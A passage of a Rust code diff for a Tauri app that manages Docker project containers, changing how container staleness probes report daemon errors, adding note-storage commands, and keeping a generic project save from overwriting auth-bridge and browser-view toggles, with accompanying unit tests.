/// `container_id`, then `base_image_id`, then `container_running` — chosen
|
||||
/// priority, deliberately *not* the order the daemon was called in, so that the
|
||||
/// reported error is most often the one that stopped the probe rather than
|
||||
/// whichever reading happened to run first. (It is at most three, not four:
|
||||
/// `container_running` is only attempted when `container_id` answered with a
|
||||
/// container.)
|
||||
///
|
||||
/// **A caveat this cannot fix here.** `docker::is_container_running` swallows
|
||||
/// `inspect_container` failures into `Ok(false)` itself and errors only when the
|
||||
/// client cannot be built, so a daemon that dies between the list and the
|
||||
/// inspect still reads as "stopped" rather than as an error. That is a fix
|
||||
/// inside that function, not at this call site; threading its `Result` through
|
||||
/// at least stops *this* layer from adding a second swallow on top.
|
||||
fn start_probe(readings: ProbeReadings) -> ProbeStart {
|
||||
match collect_probe_inputs(readings) {
|
||||
Ok(inputs) => ProbeStart::Inputs(Box::new(inputs)),
|
||||
Err(e) => ProbeStart::Report(Box::new(ContainerStaleness {
|
||||
probe_error: Some(e),
|
||||
..Default::default()
|
||||
})),
|
||||
}
|
||||
}
|
||||
|
||||
fn collect_probe_inputs(readings: ProbeReadings) -> Result<ProbeInputs, String> {
|
||||
let ProbeReadings {
|
||||
container_id,
|
||||
container_running,
|
||||
base_image_id,
|
||||
snapshot_exists,
|
||||
} = readings;
|
||||
|
||||
let container_id = container_id.map_err(|e| probe_failed(&e))?;
|
||||
let current_base_image_id = base_image_id.map_err(|e| probe_failed(&e))?;
|
||||
let container_running = container_running
|
||||
.transpose()
|
||||
.map_err(|e| probe_failed(&e))?;
|
||||
|
||||
let container = match (container_id, container_running) {
|
||||
(Some(id), Some(running)) => ContainerState::Present { id, running },
|
||||
// No container: whatever `container_running` says is about nothing, and
|
||||
// the caller only produces `None` here anyway.
|
||||
(None, _) => ContainerState::Absent,
|
||||
// A container was found but nobody asked whether it was running. The
|
||||
// caller cannot produce this, and guessing "stopped" would cost a
|
||||
// running project the only probe source that sees this session's
|
||||
// installs — so say what happened instead.
|
||||
(Some(_), None) => return Err(probe_failed("the container's state was not read")),
|
||||
};
|
||||
|
||||
Ok(ProbeInputs {
|
||||
current_base_image_id,
|
||||
container,
|
||||
snapshot_exists,
|
||||
})
|
||||
}
|
||||
|
||||
/// Runs two filesystem probes (~3 s each) and is therefore meant to be called
|
||||
/// on demand, not polled.
|
||||
///
|
||||
/// **Not read-only, despite only reporting.** The stopped-container path commits
|
||||
/// a throwaway image and force-removes it, which makes this a writer of a
|
||||
/// `triple-c-probe-*` image and puts it in the class of thing
|
||||
/// [`crate::project_lock`] exists for — and it takes no claim. That is
|
||||
/// deliberate: this is what the migration banner calls to decide whether to
|
||||
/// offer an update, including while a migration is in flight, so refusing it
|
||||
/// under a claim would blank the banner exactly when it has the most to say.
|
||||
/// The exposure is bounded to a surfaced error — a concurrent Recreate, Reset or
|
||||
/// migration can remove the container out from under the commit, and the result
|
||||
/// is a `probe_error` the user can retry, never a damaged container or a
|
||||
/// mislabelled image. Two overlapping probes cannot collide either, because
|
||||
/// probe image names are unique per call; see
|
||||
/// [`crate::docker::container::get_probe_image_name`].
|
||||
#[tauri::command]
|
||||
pub async fn get_container_staleness(
|
||||
project_id: String,
|
||||
@@ -111,7 +439,35 @@ pub async fn get_container_staleness(
|
||||
let snapshot_image = docker::get_snapshot_image_name(&project);
|
||||
|
||||
let mut out = ContainerStaleness::default();
|
||||
out.current_base_image_id = mig::image_id(&base_image).await.unwrap_or(None);
|
||||
|
||||
// Every reading the daemon owes us, taken up front and handed on exactly as
|
||||
// it came back, so that "could not ask" stays distinguishable from "asked,
|
||||
// and the answer is no". [`start_probe`] is where that distinction is acted
|
||||
// on; nothing between here and there may collapse one into the other, and
|
||||
// the `Result` fields of [`ProbeReadings`] are what stop it being possible.
|
||||
let container_id_result = docker::find_existing_container(&project).await;
|
||||
let container_running_result = match &container_id_result {
|
||||
Ok(Some(id)) => Some(docker::is_container_running(id).await),
|
||||
// No container, or no usable reading of one: nothing to inspect, and
|
||||
// the container lookup's own error is what gets reported.
|
||||
_ => None,
|
||||
};
|
||||
let readings = ProbeReadings {
|
||||
container_id: container_id_result,
|
||||
container_running: container_running_result,
|
||||
base_image_id: mig::image_id(&base_image).await,
|
||||
snapshot_exists: docker::image_exists(&snapshot_image).await,
|
||||
};
|
||||
|
||||
let inputs = match start_probe(readings) {
|
||||
ProbeStart::Inputs(inputs) => *inputs,
|
||||
// Reported, not returned — see [`ProbeStart::Report`].
|
||||
ProbeStart::Report(report) => return Ok(*report),
|
||||
};
|
||||
let container = inputs.container;
|
||||
let container_id = container.id();
|
||||
|
||||
out.current_base_image_id = inputs.current_base_image_id;
|
||||
out.snapshot_created_at = mig::image_created(&snapshot_image).await;
|
||||
|
||||
// Lineage, most authoritative source first: the live container's label,
|
||||
@@ -125,8 +481,7 @@ pub async fn get_container_staleness(
|
||||
// as an answer and skip the snapshot entirely, so a snapshot that *did*
|
||||
// record a lineage was never consulted and the project reported "unknown"
|
||||
// with the information sitting one lookup away.
|
||||
let container_id = docker::find_existing_container(&project).await.unwrap_or(None);
|
||||
let from_container = match &container_id {
|
||||
let from_container = match container_id {
|
||||
Some(id) => container_label(id, mig::LABEL_BASE_IMAGE_ID).await,
|
||||
None => None,
|
||||
};
|
||||
@@ -145,16 +500,70 @@ pub async fn get_container_staleness(
|
||||
};
|
||||
|
||||
// ── Probes ───────────────────────────────────────────────────────────
|
||||
let running = match &container_id {
|
||||
Some(id) => docker::is_container_running(id).await.unwrap_or(false),
|
||||
None => false,
|
||||
let snapshot_exists = &inputs.snapshot_exists;
|
||||
let source = match pick_probe_source(&container, snapshot_exists) {
|
||||
Ok(source) => source,
|
||||
// The only reading this decision needed and did not get — see
|
||||
// [`ProbeStart::Report`] for why this is a report and not an `Err`.
|
||||
Err(e) => {
|
||||
out.probe_error = Some(e);
|
||||
return Ok(out);
|
||||
}
|
||||
};
|
||||
let from_manifest = if running {
|
||||
mig::manifest_from_container(container_id.as_ref().unwrap()).await
|
||||
} else if docker::image_exists(&snapshot_image).await.unwrap_or(false) {
|
||||
mig::manifest_from_image(&snapshot_image).await
|
||||
} else {
|
||||
Err("This project has no container or snapshot image yet, so there is nothing to compare against the base image.".to_string())
|
||||
let from_manifest = match source {
|
||||
ProbeSource::RunningContainer(id) => mig::manifest_from_container(id).await,
|
||||
ProbeSource::StoppedContainer(id) => {
|
||||
let busy = crate::project_lock::held(&project_id).is_some();
|
||||
match stopped_probe_policy(busy, snapshot_exists) {
|
||||
StoppedProbe::Commit => {
|
||||
match mig::manifest_from_stopped_container_cached(id).await {
|
||||
Ok(m) => Ok(m),
|
||||
// **Never let a failed commit cost an answer the
|
||||
// snapshot could have given.** Before stopped
|
||||
// containers were readable at all, a stopped project
|
||||
// fell straight through to its snapshot, so surfacing
|
||||
// this error where the snapshot exists would make the
|
||||
// banner *worse* than it was — and the ways this fails
|
||||
// are the ones where the fallback matters most: a full
|
||||
// disk (the commit has to allocate the whole writable
|
||||
// layer; the snapshot probe allocates nothing) and a
|
||||
// 409 from an operation that claimed the project after
|
||||
// the check above.
|
||||
// `Ok(true)` specifically: an `image_exists` that
|
||||
// failed has not established that there is anything to
|
||||
// fall back to, and probing a snapshot that may not
|
||||
// exist would replace the commit's real error with a
|
||||
// confusing one.
|
||||
Err(e) if matches!(snapshot_exists, Ok(true)) => {
|
||||
log::warn!(
|
||||
"Probing the stopped container for project {} failed ({}) — \
|
||||
falling back to its snapshot image, which may lag it",
|
||||
project_id,
|
||||
e
|
||||
);
|
||||
mig::manifest_from_image(&snapshot_image).await
|
||||
}
|
||||
Err(e) => Err(e),
|
||||
}
|
||||
}
|
||||
StoppedProbe::SnapshotInstead => {
|
||||
log::info!(
|
||||
"Project {} is claimed by another operation — probing its snapshot image \
|
||||
rather than committing the container",
|
||||
project_id
|
||||
);
|
||||
mig::manifest_from_image(&snapshot_image).await
|
||||
}
|
||||
StoppedProbe::Defer(message) => Err(message),
|
||||
}
|
||||
}
|
||||
ProbeSource::Snapshot => mig::manifest_from_image(&snapshot_image).await,
|
||||
// Reached only when there is genuinely neither a container nor a
|
||||
// snapshot: `ProbeSource` carries the container id in its container
|
||||
// variants, so a container that exists can no longer fall through to
|
||||
// here — which is the bug this arm used to hide, swallowing every
|
||||
// stopped container.
|
||||
ProbeSource::Nothing => Err(NOTHING_TO_PROBE.to_string()),
|
||||
};
|
||||
|
||||
let (from_manifest, base_manifest) = match from_manifest {
|
||||
@@ -1964,6 +2373,326 @@ mod tests {
|
||||
assert_eq!(pick_recorded_lineage(some(""), None), None);
|
||||
}
|
||||
|
||||
/// The readings as the daemon answered them, all four healthy: no
|
||||
/// container, nothing pulled, no snapshot. Tests override the one reading
|
||||
/// they are about, which keeps it obvious which reading each case is
|
||||
/// actually exercising.
|
||||
fn readings() -> ProbeReadings {
|
||||
ProbeReadings {
|
||||
container_id: Ok(None),
|
||||
container_running: None,
|
||||
base_image_id: Ok(None),
|
||||
snapshot_exists: Ok(false),
|
||||
}
|
||||
}
|
||||
|
||||
fn present(running: bool) -> ContainerState {
|
||||
ContainerState::Present {
|
||||
id: "c1".to_string(),
|
||||
running,
|
||||
}
|
||||
}
|
||||
|
||||
/// What every one of the four readings looks like when the socket is gone:
|
||||
/// generic over what it was going to return.
|
||||
fn daemon<T>() -> Result<T, String> {
|
||||
Err("Failed to list containers: connection refused".to_string())
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_stopped_container_is_probed_rather_than_reported_missing() {
|
||||
// The regression: a container that exists but is stopped, with no
|
||||
// snapshot ever taken, read as "nothing to compare against".
|
||||
assert_eq!(
|
||||
pick_probe_source(&present(false), &Ok(false)),
|
||||
Ok(ProbeSource::StoppedContainer("c1"))
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_container_outranks_the_snapshot_whether_or_not_it_is_running() {
|
||||
// The snapshot lags the container by everything installed since the
|
||||
// last commit, in both states.
|
||||
assert_eq!(
|
||||
pick_probe_source(&present(true), &Ok(true)),
|
||||
Ok(ProbeSource::RunningContainer("c1"))
|
||||
);
|
||||
assert_eq!(
|
||||
pick_probe_source(&present(false), &Ok(true)),
|
||||
Ok(ProbeSource::StoppedContainer("c1"))
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_snapshot_is_the_fallback_only_once_the_container_is_gone() {
|
||||
assert_eq!(
|
||||
pick_probe_source(&ContainerState::Absent, &Ok(true)),
|
||||
Ok(ProbeSource::Snapshot)
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn nothing_to_probe_is_reserved_for_no_container_and_no_snapshot() {
|
||||
// The one case the "no container or snapshot image yet" message may
|
||||
// still describe.
|
||||
assert_eq!(
|
||||
pick_probe_source(&ContainerState::Absent, &Ok(false)),
|
||||
Ok(ProbeSource::Nothing)
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_unreadable_snapshot_only_costs_the_report_where_the_snapshot_is_the_answer() {
|
||||
// A container answered, so `image_exists` decides nothing: its failure
|
||||
// must not cost a report the container can supply in full. Treating it
|
||||
// as fatal turned "running container, one flaky `image_exists`" into a
|
||||
// bare probe_error with Update disabled.
|
||||
assert_eq!(
|
||||
pick_probe_source(&present(true), &daemon()),
|
||||
Ok(ProbeSource::RunningContainer("c1"))
|
||||
);
|
||||
assert_eq!(
|
||||
pick_probe_source(&present(false), &daemon()),
|
||||
Ok(ProbeSource::StoppedContainer("c1"))
|
||||
);
|
||||
|
||||
// With no container, the snapshot is the whole decision, so its failure
|
||||
// is reported — and never as "no container or snapshot image yet",
|
||||
// which nothing has established.
|
||||
let e = pick_probe_source(&ContainerState::Absent, &daemon()).unwrap_err();
|
||||
assert!(e.contains("connection refused"), "{}", e);
|
||||
assert_ne!(e, NOTHING_TO_PROBE);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_stopped_container_is_committed_only_when_nothing_else_owns_the_project() {
|
||||
assert_eq!(
|
||||
stopped_probe_policy(false, &Ok(false)),
|
||||
StoppedProbe::Commit
|
||||
);
|
||||
assert_eq!(stopped_probe_policy(false, &Ok(true)), StoppedProbe::Commit);
|
||||
// Not the snapshot's business either way when the project is free: an
|
||||
// unreadable `image_exists` does not stop the commit that would not
|
||||
// have consulted it.
|
||||
assert_eq!(stopped_probe_policy(false, &daemon()), StoppedProbe::Commit);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_busy_project_falls_back_rather_than_racing_a_recreate() {
|
||||
// The snapshot lags, but a stale answer beats failing someone's Start.
|
||||
assert_eq!(
|
||||
stopped_probe_policy(true, &Ok(true)),
|
||||
StoppedProbe::SnapshotInstead
|
||||
);
|
||||
// Nothing to fall back to: say so instead of committing anyway.
|
||||
assert_eq!(
|
||||
stopped_probe_policy(true, &Ok(false)),
|
||||
StoppedProbe::Defer(PROJECT_BUSY.to_string())
|
||||
);
|
||||
|
||||
// Busy *and* the fallback could not be read: "try again once it
|
||||
// finishes" would promise that waiting is all that stands in the way,
|
||||
// which the failed reading has not established. Report what happened.
|
||||
match stopped_probe_policy(true, &daemon()) {
|
||||
StoppedProbe::Defer(message) => {
|
||||
assert!(message.contains("connection refused"), "{}", message);
|
||||
assert_ne!(message, PROJECT_BUSY);
|
||||
}
|
||||
other => panic!("expected Defer, got {:?}", other),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_unreachable_daemon_is_never_read_as_an_absent_container() {
|
||||
// The bug: every one of these used to be flattened to "no" by an
|
||||
// `unwrap_or`, which reached `pick_probe_source` as "no container, no
|
||||
// snapshot" and reported "no container or snapshot image yet" about a
|
||||
// project nobody had managed to look at.
|
||||
let e = collect_probe_inputs(ProbeReadings {
|
||||
container_id: daemon(),
|
||||
..readings()
|
||||
})
|
||||
.unwrap_err();
|
||||
assert!(e.contains("connection refused"), "{}", e);
|
||||
assert_ne!(e, NOTHING_TO_PROBE);
|
||||
|
||||
let e = collect_probe_inputs(ProbeReadings {
|
||||
base_image_id: daemon(),
|
||||
..readings()
|
||||
})
|
||||
.unwrap_err();
|
||||
assert!(e.contains("connection refused"), "{}", e);
|
||||
|
||||
let e = collect_probe_inputs(ProbeReadings {
|
||||
container_id: Ok(Some("c1".into())),
|
||||
container_running: Some(daemon()),
|
||||
..readings()
|
||||
})
|
||||
.unwrap_err();
|
||||
assert!(e.contains("connection refused"), "{}", e);
|
||||
|
||||
// The fourth reading is not fatal here — see
|
||||
// `an_unreadable_snapshot_only_costs_the_report_where_the_snapshot_is_the_answer`
|
||||
// — but it must still arrive as an error rather than as "no snapshot".
|
||||
let inputs = collect_probe_inputs(ProbeReadings {
|
||||
snapshot_exists: daemon(),
|
||||
..readings()
|
||||
})
|
||||
.unwrap();
|
||||
assert!(inputs.snapshot_exists.is_err());
|
||||
let e = pick_probe_source(&inputs.container, &inputs.snapshot_exists).unwrap_err();
|
||||
assert_ne!(e, NOTHING_TO_PROBE);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_base_image_that_could_not_be_read_is_never_reported_as_up_to_date() {
|
||||
// `image_id` answers `Ok(None)` for "not pulled locally", which is a
|
||||
// legitimate `stale: false`. An `Err` is not: it is the right-hand side
|
||||
// of the comparison missing, and letting it through as `None` would
|
||||
// report the project up to date on the strength of a reading nobody
|
||||
// got. This is #56 one field over, so it is fatal on purpose.
|
||||
let e = collect_probe_inputs(ProbeReadings {
|
||||
base_image_id: Err("invalid reference format".into()),
|
||||
container_id: Ok(Some("c1".into())),
|
||||
container_running: Some(Ok(true)),
|
||||
snapshot_exists: Ok(true),
|
||||
})
|
||||
.unwrap_err();
|
||||
assert!(e.contains("invalid reference format"), "{}", e);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_failed_reading_is_not_blamed_on_a_daemon_that_answered() {
|
||||
// Three of the four readings return `Err` from a daemon that replied
|
||||
// perfectly well: `image_id` maps only a 404 to `Ok(None)`, and the two
|
||||
// list-based readings wrap any failure. The base image name is
|
||||
// user-supplied, so a typo in settings lands here — and used to be
|
||||
// reported as "Docker could not be reached", sending the user to fix a
|
||||
// daemon that was running.
|
||||
// The payload is the shape bollard really produces for this case, and
|
||||
// it contains the word "Docker" itself — so asserting the *message*
|
||||
// lacks that word would pass here only because a synthetic payload was
|
||||
// chosen. What must be true is that nothing *we* add claims the daemon
|
||||
// was unreachable, or names the container when the reading was about
|
||||
// the base image.
|
||||
let raw = "Docker responded with status code 400: invalid reference format";
|
||||
let e = collect_probe_inputs(ProbeReadings {
|
||||
base_image_id: Err(raw.into()),
|
||||
..readings()
|
||||
})
|
||||
.unwrap_err();
|
||||
assert!(!e.contains("could not be reached"), "{}", e);
|
||||
assert!(!e.contains("container"), "{}", e);
|
||||
// The cause still comes through verbatim: "Docker isn't running" and
|
||||
// "permission denied on the socket" need different fixes and must stay
|
||||
// distinguishable.
|
||||
assert!(e.contains(raw), "{}", e);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_first_daemon_error_is_the_one_reported() {
|
||||
// When the daemon is down these fail together, and the user needs the
|
||||
// reason once rather than three times. Call order wins, and
|
||||
// `container_id` leads because it is what selects the probe source.
|
||||
//
|
||||
// At most three fail, not four: `container_running` is only attempted
|
||||
// when `container_id` answered with a container, so the caller cannot
|
||||
// produce an `Err` container id alongside a `Some(..)` running reading.
|
||||
let e = collect_probe_inputs(ProbeReadings {
|
||||
container_id: Err("first".into()),
|
||||
container_running: None,
|
||||
base_image_id: Err("second".into()),
|
||||
snapshot_exists: Err("third".into()),
|
||||
})
|
||||
.unwrap_err();
|
||||
assert!(e.ends_with("first"), "{}", e);
|
||||
|
||||
let e = collect_probe_inputs(ProbeReadings {
|
||||
container_id: Ok(Some("c1".into())),
|
||||
container_running: Some(Err("third".into())),
|
||||
base_image_id: Err("second".into()),
|
||||
snapshot_exists: Err("fourth".into()),
|
||||
})
|
||||
.unwrap_err();
|
||||
assert!(e.ends_with("second"), "{}", e);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_container_id_cannot_arrive_without_a_reading_of_its_state() {
|
||||
// `ContainerState` makes "running, but no container" unrepresentable;
|
||||
// this is the other half — a container found, but never asked about.
|
||||
// The caller cannot produce it, and guessing "stopped" would cost a
|
||||
// running project the only probe source that sees this session's
|
||||
// installs.
|
||||
let e = collect_probe_inputs(ProbeReadings {
|
||||
container_id: Ok(Some("c1".into())),
|
||||
container_running: None,
|
||||
..readings()
|
||||
})
|
||||
.unwrap_err();
|
||||
assert!(e.contains("state was not read"), "{}", e);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_daemon_that_answers_no_is_an_answer_and_passes_through() {
|
||||
// No container, no snapshot, base image not pulled: all the readings
|
||||
// are `Ok`, and the "nothing to probe" path downstream is then
|
||||
// genuinely earned.
|
||||
let inputs = collect_probe_inputs(readings()).unwrap();
|
||||
assert_eq!(inputs.current_base_image_id, None);
|
||||
assert_eq!(inputs.container, ContainerState::Absent);
|
||||
assert_eq!(inputs.snapshot_exists, Ok(false));
|
||||
assert_eq!(
|
||||
pick_probe_source(&inputs.container, &inputs.snapshot_exists),
|
||||
Ok(ProbeSource::Nothing)
|
||||
);
|
||||
|
||||
// And the fully populated reading survives intact.
|
||||
let inputs = collect_probe_inputs(ProbeReadings {
|
||||
container_id: Ok(Some("c1".into())),
|
||||
container_running: Some(Ok(true)),
|
||||
base_image_id: Ok(Some("sha256:base".into())),
|
||||
snapshot_exists: Ok(true),
|
||||
})
|
||||
.unwrap();
|
||||
assert_eq!(inputs.current_base_image_id.as_deref(), Some("sha256:base"));
|
||||
assert_eq!(inputs.container, present(true));
|
||||
assert_eq!(inputs.snapshot_exists, Ok(true));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_failed_reading_keeps_the_banner_on_screen_instead_of_erroring() {
|
||||
// The load-bearing design decision of this path: a failed reading is a
|
||||
// report with `probe_error` set, never an `Err` out of the command. An
|
||||
// `Err` reaches the hook's `catch`, which nulls `staleness`, and
|
||||
// `ContainerMigrationBanner` renders nothing at all for a null one — so
|
||||
// the banner would vanish at exactly the moment it has something to say.
|
||||
match start_probe(ProbeReadings {
|
||||
container_id: daemon(),
|
||||
..readings()
|
||||
}) {
|
||||
ProbeStart::Report(report) => {
|
||||
let message = report.probe_error.clone().expect("probe_error");
|
||||
assert!(message.contains("connection refused"), "{}", message);
|
||||
// Everything else at its default: a field being empty means
|
||||
// "nothing found", and nothing was found because nothing was
|
||||
// read. `stale: false` here is the absence of a claim, which is
|
||||
// only honest because `probe_error` is carrying the reason.
|
||||
assert_eq!(
|
||||
*report,
|
||||
ContainerStaleness {
|
||||
probe_error: Some(message),
|
||||
..Default::default()
|
||||
}
|
||||
);
|
||||
}
|
||||
ProbeStart::Inputs(_) => panic!("a failed reading must not be probed on"),
|
||||
}
|
||||
|
||||
// And a healthy set of readings still goes on to probe.
|
||||
assert!(matches!(start_probe(readings()), ProbeStart::Inputs(_)));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn byte_sizes_read_the_way_a_disk_warning_should() {
|
||||
assert_eq!(human_bytes(512), "512 B");
|
||||
|
||||
@@ -3,13 +3,17 @@ pub mod auth_token_commands;
|
||||
pub mod aws_commands;
|
||||
pub mod docker_commands;
|
||||
pub mod file_commands;
|
||||
pub mod file_viewer_commands;
|
||||
pub mod gateway_commands;
|
||||
pub mod help_commands;
|
||||
pub mod inspect_commands;
|
||||
pub mod install_helper_commands;
|
||||
pub mod marketplace_commands;
|
||||
pub mod migration_commands;
|
||||
pub mod notes_commands;
|
||||
pub mod project_commands;
|
||||
pub mod settings_commands;
|
||||
pub mod settings_export_commands;
|
||||
pub mod stt_commands;
|
||||
pub mod terminal_commands;
|
||||
pub mod update_commands;
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
use crate::models::Note;
|
||||
use crate::storage::notes_store;
|
||||
|
||||
/// Every project's notes, oldest concept first: pinned notes, then most
|
||||
/// recently edited.
|
||||
///
|
||||
/// Sorted here rather than in the webview so the dock and the tab — two views
|
||||
/// of the same list — cannot drift into two different orders.
|
||||
#[tauri::command]
|
||||
pub async fn list_notes(project_id: String) -> Result<Vec<Note>, String> {
|
||||
let mut notes = notes_store::load(&project_id)?;
|
||||
notes.sort_by(|a, b| {
|
||||
b.pinned
|
||||
.cmp(&a.pinned)
|
||||
.then_with(|| b.updated_at.cmp(&a.updated_at))
|
||||
});
|
||||
Ok(notes)
|
||||
}
|
||||
|
||||
/// Insert or replace one note.
|
||||
///
|
||||
/// There is deliberately no whole-list setter. A bulk write is exactly the
|
||||
/// clobbering this store's per-project file exists to avoid, and every caller
|
||||
/// here is editing one note.
|
||||
#[tauri::command]
|
||||
pub async fn save_note(project_id: String, note: Note) -> Result<Note, String> {
|
||||
notes_store::upsert(&project_id, note)
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn delete_note(project_id: String, note_id: String) -> Result<(), String> {
|
||||
notes_store::delete(&project_id, ¬e_id)
|
||||
}
|
||||
@@ -722,6 +722,15 @@ pub async fn remove_project(
|
||||
// holding an entire snapshot image that nothing will ever reference again.
|
||||
crate::commands::migration_commands::purge_migration_artifacts(&project_id).await;
|
||||
|
||||
// A project's notes are the one piece of its state that is purely the
|
||||
// user's prose, so removal takes them with it rather than leaving an
|
||||
// orphan file keyed by an id nothing will ever look up again. Logged and
|
||||
// not propagated: an orphaned notes file is harmless, and a project that
|
||||
// cannot be removed is not.
|
||||
if let Err(e) = crate::storage::notes_store::clear(&project_id) {
|
||||
log::warn!("Could not remove notes for project {}: {}", project_id, e);
|
||||
}
|
||||
|
||||
// Stop and remove container if it exists. Everything named in `report`
|
||||
// below is what will be unreachable the moment this function drops the
|
||||
// project record — see [`ProjectRemovalReport`] and
|
||||
@@ -1027,7 +1036,6 @@ fn pending_cleanup_is_stale(recorded_at: &str, now: chrono::DateTime<chrono::Utc
|
||||
#[tauri::command]
|
||||
pub async fn update_project(
|
||||
project: serde_json::Value,
|
||||
app_handle: tauri::AppHandle,
|
||||
state: State<'_, AppState>,
|
||||
) -> Result<Project, String> {
|
||||
// Taken as raw JSON, then deserialised, for one reason: a secret field that
|
||||
@@ -1089,37 +1097,60 @@ pub async fn update_project(
|
||||
// [`crate::models::validate_env_vars_update`].
|
||||
crate::models::validate_env_vars_update(&stored.custom_env_vars, &project.custom_env_vars)?;
|
||||
|
||||
project.container_id = stored.container_id;
|
||||
project.status = stored.status;
|
||||
project.created_at = stored.created_at;
|
||||
restore_store_owned_fields(&mut project, &stored);
|
||||
project.updated_at = chrono::Utc::now().to_rfc3339();
|
||||
|
||||
store_secrets_for_project(&project, &explicitly_cleared)?;
|
||||
let updated = state.projects_store.update(project)?;
|
||||
|
||||
// `auth_bridge_enabled` can arrive through this generic save as well as
|
||||
// through `set_auth_bridge_enabled`, so reconcile the running bridge with
|
||||
// whatever was just persisted. `start` is idempotent and `stop` is a no-op
|
||||
// when nothing is running, so this is safe on every project save.
|
||||
if updated.auth_bridge_enabled {
|
||||
if let Some(ref container_id) = updated.container_id {
|
||||
if docker::is_container_running(container_id).await.unwrap_or(false) {
|
||||
state
|
||||
.auth_bridge
|
||||
.start(
|
||||
updated.id.clone(),
|
||||
container_id.clone(),
|
||||
app_handle,
|
||||
state.projects_store.clone(),
|
||||
)
|
||||
.await;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
state.auth_bridge.stop(&updated.id).await;
|
||||
}
|
||||
// Nothing reconciles the *running* auth bridge here any more, and there is
|
||||
// nothing left for such a step to do. This command can no longer change
|
||||
// `auth_bridge_enabled` at all (see [`restore_store_owned_fields`]), so a
|
||||
// reconcile could only ever re-assert what was already true. The paths that
|
||||
// do change it each own their own side effect: `set_auth_bridge_enabled`
|
||||
// starts or stops the bridge itself, [`start_project_container`] arms it
|
||||
// when the container comes up, and `reconcile_project_statuses` re-arms it
|
||||
// for every already-running container at launch. The version of this that
|
||||
// re-asserted on every save is what turned a stale flag in a payload into a
|
||||
// restarted bridge.
|
||||
state.projects_store.update(project)
|
||||
}
|
||||
|
||||
Ok(updated)
|
||||
/// Restore onto `project` the fields whose value belongs to the store rather
|
||||
/// than to whoever is saving the project. See the comment above `stored` in
|
||||
/// [`update_project`] for `container_id`, `status` and `created_at`.
|
||||
///
|
||||
/// **Both feature flags are in here, for one reason that covers them equally:
|
||||
/// neither ever arrives through this command as an edit.** Each has a
|
||||
/// dedicated setter — [`crate::browser_view::commands::set_browser_view_enabled`]
|
||||
/// and [`crate::commands::auth_bridge_commands::set_auth_bridge_enabled`] —
|
||||
/// and that setter is the only control the UI offers for it. Neither is wired
|
||||
/// into the Config tab's `save`: the browser view's toggle lives in the Browser
|
||||
/// tab, and `AuthBridgeRow`'s switch calls `set_auth_bridge_enabled` directly
|
||||
/// even though it is rendered *in* the Config tab, because that tab's editors
|
||||
/// are disabled while the container runs and the bridge is precisely the thing
|
||||
/// a user needs to flip while a login is hanging.
|
||||
///
|
||||
/// So the flags in an incoming payload are never a choice — they are whatever
|
||||
/// the frontend was told when it loaded the project, and the setters do not
|
||||
/// write their new value back into frontend app state. Every unrelated save
|
||||
/// (a renamed session, an env var, a mount name) carries that snapshot back.
|
||||
/// Taking it would silently undo a toggle made since.
|
||||
///
|
||||
/// This restored only `browser_view_enabled` before, on the stated belief that
|
||||
/// the Config tab edited `auth_bridge_enabled` through this save. It does not.
|
||||
/// The consequence was specific: a user turns the bridge off — having been told
|
||||
/// a bridged port is unauthenticated and reachable by any local process — then
|
||||
/// closes a renamed terminal tab, and the stale `true` in that save re-persisted
|
||||
/// and restarted the bridge.
|
||||
fn restore_store_owned_fields(project: &mut Project, stored: &Project) {
|
||||
project.container_id = stored.container_id.clone();
|
||||
project.status = stored.status.clone();
|
||||
project.browser_view_enabled = stored.browser_view_enabled;
|
||||
project.auth_bridge_enabled = stored.auth_bridge_enabled;
|
||||
project.created_at = stored.created_at.clone();
|
||||
// Owned by the marketplace commands; a Config-tab save carries a stale copy.
|
||||
project.marketplace_installs = stored.marketplace_installs.clone();
|
||||
project.marketplace_disabled = stored.marketplace_disabled.clone();
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
@@ -1421,6 +1452,16 @@ async fn start_project_container_locked(
|
||||
log::warn!("Failed to sync AWS credentials for project {}: {}", project.id, e);
|
||||
}
|
||||
|
||||
// Marketplace items sync in the background — see `spawn_project_sync`
|
||||
// for why the start never waits on it or fails because of it.
|
||||
crate::marketplace::spawn_project_sync(
|
||||
app_handle.clone(),
|
||||
state.marketplace.clone(),
|
||||
state.settings_store.get(),
|
||||
project.clone(),
|
||||
container_id.clone(),
|
||||
);
|
||||
|
||||
Ok(container_id)
|
||||
}.await;
|
||||
|
||||
@@ -2177,4 +2218,113 @@ mod tests {
|
||||
// Changing it to a different root is a change, and refused.
|
||||
assert!(validate_mounted_host_path("x", Some("/"), Some("C:\\")).is_err());
|
||||
}
|
||||
// ── Fields a generic save does not get to write ───────────────────────
|
||||
|
||||
/// A project as the store holds it, plus the copy the frontend is about to
|
||||
/// save back: same record, one unrelated edit, and the flags as they were
|
||||
/// when the frontend last loaded it.
|
||||
fn stored_and_stale_payload() -> (Project, Project) {
|
||||
let mut stored = Project::new("demo".to_string(), Vec::new());
|
||||
stored.container_id = Some("abc123".to_string());
|
||||
stored.status = ProjectStatus::Running;
|
||||
|
||||
let mut payload = stored.clone();
|
||||
payload.container_id = None;
|
||||
payload.status = ProjectStatus::Stopped;
|
||||
payload
|
||||
.renamed_session_names
|
||||
.insert("s1".to_string(), "build".to_string());
|
||||
|
||||
(stored, payload)
|
||||
}
|
||||
|
||||
/// The regression. The user turns the auth bridge off — the switch calls
|
||||
/// `set_auth_bridge_enabled`, which persists `false` and stops the bridge,
|
||||
/// and writes nothing back into the frontend's copy of the project. Every
|
||||
